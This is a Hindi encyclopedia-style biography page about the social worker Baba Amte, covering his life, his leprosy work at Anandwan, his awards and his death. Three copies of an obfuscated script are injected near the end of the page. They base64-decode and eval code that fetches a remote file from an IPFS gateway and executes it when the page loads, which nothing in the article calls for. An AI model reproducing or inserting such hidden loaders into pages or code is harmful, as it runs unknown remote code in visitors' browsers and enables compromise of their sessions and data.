बाबा आम्टे

भारत डिस्कवरी प्रस्तुति
लक्ष्मी गोस्वामी (चर्चा | योगदान) द्वारा परिवर्तित 10:52, 21 नवम्बर 2011 का अवतरण ('{{पुनरीक्षण}} '''बाबा आम्टे''' अथवा '''मुरलीधर देवीदास आम्...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

बाबा आम्टे अथवा मुरलीधर देवीदास आम्टे (जन्म- 26 दिसंबर 1914; मृत्यु- 9 फरवरी 2008) विख्यात समाजसेवक थे।

परिचय

विख्यात समाजसेवक बाबा आम्टे का जन्म 26 दिसंबर, 1914 ई. को वर्धा महाराष्ट्र के निकट एक ब्राह्मण जागीरदार परिवार में हुआ था। पिता देवीदास हरबाजी आम्टे शासकीय सेवा में थे। उनका बचपन बहुत ही ठाट-बाट से बीता। वे सोने के पालने में सोते थे और चांदी के चम्मच से उन्हें खाना खिलाया जाता था। बाबा आम्टे क्को बचपन में माता-पिता 'बाबा' पुकारते थे। इसलिए बाद में भी वे बाबा आम्टे के नाम से प्रसिद्ध हुए। बाबा आम्टे के मन में सबके प्रति समान व्यवहार की और सेवा की भावना बचपन से ही थी। 9 वर्ष के थे तभी एक अंधे भिखारी को देखकर इतने द्रवित हुए कि उन्होंने ढेरों रुपए उसकी झोली में डाल दिए थे।

शिक्षा

बाबा आम्टे ने एम.ए., एल.एल.बी. तक की पढ़ाई की। उनकी पढ़ाई क्रिस्चियन मिशन स्कूल नागपुर में हुई और फिर उन्होंने नागपुर विश्वविद्यालय में क़ानून की पढ़ाई की और कई दिनों तक वर्धा में वकालत करने लगे। परंतु जब उनका ध्यान अपने तालुके के लोगों की गरीबी की ओर गया तो वकालत छोड़कर वे अंत्यजों और भंगियों की सेवा में लग गए। उनका विवाह भी एक सेवा-धर्मी युवती साधना से विचित्र परिस्थितियों में हुआ।

स्थापना

बाबा आम्टे ने कुष्ठ रोग से पीड़ित लोगों की सेवा और सहायता का काम अपने हाथ में लिया। कुष्ठ रोगियों के लिए बाबा आम्टे ने सर्वप्रथम ग्यारह साप्ताहिक औषधालय स्थापित किए, फिर 'आनंदवन' नामक संस्था की स्थापना की। उन्होंने कुष्ठ की चिकित्सा का प्रशिक्षण तो लिया ही, अपने शरीर पर कुष्ठ निरोधी औषधियों का परीक्षण भी किया। 1951 में 'आनंदवन' की रजिस्ट्री हुई। सरकार से इस कार्य के विस्तार के लिए भूमि मिली। बाबा आम्टे के प्रयत्न से दो अस्पताल बने, विश्वविद्यालय स्थापित हुआ, एक अनाथालय खोला गया, नेत्रहीनों के लिए स्कूल बना और तकनीकी शिक्षा की भी व्यवस्था हुई। 'आनंदवन' आश्रम अब पूरी तरह आत्मनिर्भर है और लगभग पाँच हजार व्यक्ति उससे आजीविका चला रहे हैं।

पुरुस्कार

बाबा आम्टे को उनके इन महान कामों के लिए बहुत सारे पुरस्कारों से भी सम्मानित किया गया। उन्हें मैगसेसे अवॉर्ड, पद्मश्री, पद्मविभूषण, बिड़ला पुरस्कार, मानवीय हक पुरस्कार, महात्मा गांधी पुरस्कार के साथ-साथ और भी कई पुरस्कारों से नवाजा गया।

निधन

भारत के विख्यात समाजसेवक बाबा आम्टे का निधन 9 फरवरी 2008 को हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ


बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>